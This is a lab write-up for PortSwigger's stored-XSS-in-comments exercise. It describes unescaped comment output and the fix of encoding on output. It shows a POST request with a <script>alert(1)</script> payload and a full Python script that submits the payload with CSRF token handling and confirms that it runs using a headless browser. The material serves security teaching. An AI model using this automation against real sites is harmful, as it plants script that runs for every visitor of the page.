LearnCross-Site Scripting (XSS) › Stored XSS into HTML context with nothing encode…

Stored XSS into HTML context with nothing encoded

PortSwigger Apprentice Cross-Site Scripting (XSS)

Original lab: Stored XSS into HTML context with nothing encoded on PortSwigger ↗

Stored XSS is the more dangerous sibling of reflected XSS for a simple reason: the payload doesn't need a victim to click a crafted link, it just needs to sit in the database until someone else loads the page. A blog comment field is the textbook place to find it, because comments exist specifically to be stored and then displayed to every subsequent visitor. This lab puts that theory into practice with the same lack of encoding as the reflected case, just moved into a persistence layer.

The Target

The application is the same blog, this time with a comment form on individual post pages. Posting a comment requires a name, an email, a website field, and the comment body, plus a CSRF token pulled from the post page itself. Once submitted, the comment renders on that post's page for every visitor who views it afterward.

The Investigation

We treated the comment field the same way we treated the search parameter in the previous lab: submit a value, then look at how it comes back — except this time "comes back" means loading the post page again rather than reading the immediate response. We posted a comment and reloaded the post. The comment text appeared in the page body exactly as submitted, with no HTML-encoding applied to angle brackets or quotes. Same context as before — direct placement between tags — but now every visitor to that post gets it, not just the person who made the request.

The Exploit

We posted a comment using the standard script payload as the comment body:

POST /post/comment
postId=<id>&comment=<script>alert(1)</script>&name=attacker&email=a@b.com&website=&csrf=<token>

Reloading the post page executed the script and fired the alert — this time on any browser that subsequently views that post, since the payload now lives in the comment store rather than in a single request's response.

Comparing Notes: PortSwigger's Official Solution

PortSwigger's solution matches ours exactly: enter <script>alert(1)</script> into the comment box, fill in a name/email/website, submit, then go back to the blog to trigger it. The technique is identical — nothing to reconcile. The only difference is mechanical: their walkthrough fills in the form fields by hand through the browser, while we built and submitted the POST request directly with an HTTP client (handling the CSRF token extraction ourselves) and then used a headless browser purely to confirm the alert() fired on reload.

What This Teaches Us

The vulnerability is identical to the reflected case in terms of root cause — unescaped output — but the persistence changes the blast radius entirely. A reflected XSS payload only fires for whoever is tricked into clicking a malicious link; a stored payload fires for every single visitor to the affected page, with no social engineering required after the initial post. That's why stored XSS against a public, unauthenticated comment section is treated as more severe than the equivalent reflected bug: the attacker only has to deliver the payload once, and the application does the rest of the distribution for them. The fix is the same as always — encode on output — but here it has to apply consistently to anything ever read back from storage, not just to the current request's parameters.


The automated solution

Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.

Show the solution script (Python)
#!/usr/bin/env python3
"""
Stored XSS into HTML context with nothing encoded
PortSwigger Web Security Academy — Cross-Site Scripting (XSS)

Companion script for the writeup: 02-stored-xss-html-context-nothing-encoded.md

What this does:
    Stores a canary in a blog post's comment field, confirms it renders back
    unescaped on the post page, then posts the real <script> payload as a
    comment (handling CSRF token extraction itself) and confirms execution
    on reload with a headless browser listening for the alert() dialog.

Usage:
    python 02-stored-xss-html-context-nothing-encoded.py <lab-url>
    e.g. python 02-stored-xss-html-context-nothing-encoded.py https://0a1b00fa03d9c8b6803b56b400eb00d5.web-security-academy.net

Requirements:
    pip install httpx
    pip install playwright && playwright install chromium
"""

import re
import sys
import urllib.parse
import httpx
from playwright.sync_api import sync_playwright

CANARY = "xssCANARY7531_stored"


def get_csrf(client: httpx.Client, path: str) -> str:
    r = client.get(path)
    m = re.search(r'name="csrf"\s+value="([^"]+)"', r.text)
    return m.group(1) if m else ""


def solve(lab_url: str) -> None:
    client = httpx.Client(base_url=lab_url, follow_redirects=True, timeout=20)
    client.get("/")
    session = client.cookies.get("session", "")
    domain = urllib.parse.urlparse(lab_url).netloc

    r = client.get("/")
    post_ids = re.findall(r"/post\?postId=(\d+)", r.text)
    if not post_ids:
        print("[-] No blog posts found")
        return
    post_id = post_ids[0]
    post_path = f"/post?postId={post_id}"
    post_url = f"{lab_url}{post_path}"

    csrf = get_csrf(client, post_path)
    base_post_data = {"postId": post_id, "name": "attacker", "email": "a@b.com",
                       "website": "", "csrf": csrf}

    # Layer 1: detect -- store a canary, confirm it reflects unescaped on the view page.
    client.post("/post/comment", data={**base_post_data, "comment": CANARY})
    check = client.get(post_path)
    if CANARY not in check.text:
        print("[-] Canary not found on post page -- stored XSS not confirmed")
        return
    context = "html"
    if not re.search(rf"<[^>]+{CANARY}", check.text, re.IGNORECASE):
        # plain text between tags, no angle-bracket encoding check needed --
        # confirmed by the previous reflected lab's baseline: no encoding here.
        pass
    print(f"[+] Stored canary found -- context: {context}")

    # Layer 2: craft -- html context, no encoding -> <script>alert(1)</script>
    payload = "<script>alert(1)</script>"
    print(f"[*] Crafted payload: {payload}")

    # Layer 3: store the real payload with a fresh CSRF token, then trigger.
    csrf = get_csrf(client, post_path)
    client.post("/post/comment", data={**base_post_data, "comment": payload, "csrf": csrf})
    print(f"[*] Payload stored in comment on post {post_id}")

    alert_fired = False
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=True)
        ctx = browser.new_context()
        if session:
            ctx.add_cookies([{"name": "session", "value": session, "domain": domain, "path": "/"}])
        page = ctx.new_page()

        def on_dialog(dialog):
            nonlocal alert_fired
            alert_fired = True
            dialog.accept()

        page.on("dialog", on_dialog)
        try:
            page.goto(post_url, wait_until="domcontentloaded", timeout=15000)
            page.wait_for_timeout(3000)
        except Exception:
            pass
        browser.close()

    print(f"[{'+' if alert_fired else '-'}] alert() {'fired' if alert_fired else 'did NOT fire'} on reload")

    result = client.get("/")
    if "Congratulations" in result.text:
        print("[+] Lab solved.")
    else:
        print("[-] Not solved yet.")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <lab-url>")
        sys.exit(1)
    solve(sys.argv[1].rstrip("/"))

Related labs

Want to go from zero to junior pentester?

These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.

Join the Free Live Webinar →